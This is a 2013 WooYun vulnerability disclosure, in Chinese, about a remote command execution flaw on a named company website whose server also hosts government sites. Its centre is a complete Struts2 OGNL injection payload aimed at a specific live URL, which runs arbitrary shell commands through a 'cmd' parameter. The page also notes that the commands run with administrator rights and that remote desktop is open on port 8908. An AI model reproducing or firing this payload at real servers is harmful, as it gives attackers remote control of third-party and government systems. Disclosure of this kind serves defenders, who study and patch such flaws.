当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024067

漏洞标题：绿金生物官网命令执行漏洞，同服多个高PR高权重站临危

相关厂商：绿金生物官网

漏洞作者： 相关部们

提交时间：2013-05-20 13:45

修复时间：2013-07-04 13:45

公开时间：2013-07-04 13:45

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-20： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-07-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

绿金生物官网命令执行漏洞，同服多个高PR高权重政府站点将沦陷，存在各种风险。

详细说明：

漏洞地址：
http://www.ccjczy.com/News.action?urlNewsID=2013423YB34
利用代码：

?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[51020]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=各种命令


whoami 可以看出是administrator权限 远程桌面服务开启，端口为8908

2121212.jpg


由于同服存在多个政府网站，且为高PR 高权重站点，很可能成为不法分子及黑产的目标：

1212.jpg


比如：
吉林科技网
节约网
吉林省工商业联合会(总商会)
智障公益网
.....
如果服务器沦陷，后果相当严重。
由于牵涉到gov网站，所以安全检测不敢深入。详细问题请提交网站管理方处理。
由于涉及政府网站，且pr和百度权重较高，对不法分子的诱惑力极大，所以自评RANK较高，请官方指正。

漏洞证明：

2121212.jpg

修复方案：

打补丁

版权声明：转载请注明来源 相关部们@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝